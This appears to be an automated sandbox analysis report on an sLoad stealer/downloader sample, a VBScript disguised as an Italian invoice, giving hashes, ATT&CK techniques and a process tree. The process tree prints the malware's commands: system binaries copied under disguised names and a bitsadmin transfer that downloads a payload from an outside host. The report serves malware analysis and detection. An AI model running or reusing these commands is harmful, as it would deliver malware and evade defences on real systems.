sload | ffcf58b4d749d51adbcd3164938d59a494342e450dfd68b678788b695f25184d

Analysis

max time kernel
29s
max time network
63s
platform
windows7_x64
resource
win7-20220414-en
submitted
20-05-2022 14:38

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General

Target

Fatt_cliente_00453830309.vbs
Size

3KB
MD5

62b3b8b5c2ceacaee5e3e22939c45a43
SHA1

3a579492c1c373cb61ced3c7a88cffb13d73e1ac
SHA256

77e7a4deb92496d0954a6fd03cece71dfd53bc774cfb89dc16410c91cf09f598
SHA512

0b969e6f0163f22402bfb31f424ff33b8985a1406fd65936e4239b31ba1b75501cbea31bd944cd02c97d88e707e08097b83b8b258e2352b4f92286e09fac93d1

Score

10^/10

sload stealer trojan

Malware Config

Signatures

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload

Executes dropped EXE 1 IoCs

pid	Process
2044	FeUgzu.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 2036	1960	WScript.exe	27
PID 1960 wrote to memory of 2036	1960	WScript.exe	27
PID 1960 wrote to memory of 2036	1960	WScript.exe	27
PID 1960 wrote to memory of 1144	1960	WScript.exe	29
PID 1960 wrote to memory of 1144	1960	WScript.exe	29
PID 1960 wrote to memory of 1144	1960	WScript.exe	29
PID 1960 wrote to memory of 2044	1960	WScript.exe	31
PID 1960 wrote to memory of 2044	1960	WScript.exe	31
PID 1960 wrote to memory of 2044	1960	WScript.exe	31
PID 1960 wrote to memory of 2044	1960	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fatt_cliente_00453830309.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zFeUgzu.exe
  2⤵
  PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\FeUgzu.exe
  2⤵
  PID:1144
- C:\Users\Admin\AppData\Roaming\FeUgzu.exe
  "C:\Users\Admin\AppData\Roaming\FeUgzu.exe" /transfer DQeUoq /download https://sheyenneweber.com/webol/00453830309/uk.jpg C:\Users\Admin\AppData\Roaming\uk.jpg
  2⤵
  - Executes dropped EXE
  PID:2044

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\FeUgzu.exe

Filesize
182KB

MD5
0920b14aa67a8b04acf48ffe7c6f0927

SHA1
3421124253058dc21453ebac531b67aeb999f627

SHA256
838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

SHA512
2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

Download Submit
C:\Users\Admin\AppData\Roaming\FeUgzu.exe

Filesize
182KB

MD5
0920b14aa67a8b04acf48ffe7c6f0927

SHA1
3421124253058dc21453ebac531b67aeb999f627

SHA256
838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

SHA512
2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

Download Submit
memory/1960-54-0x000007FEFBFA1000-0x000007FEFBFA3000-memory.dmp

Filesize
8KB

Download
memory/2044-60-0x0000000075381000-0x0000000075383000-memory.dmp

Filesize
8KB

Download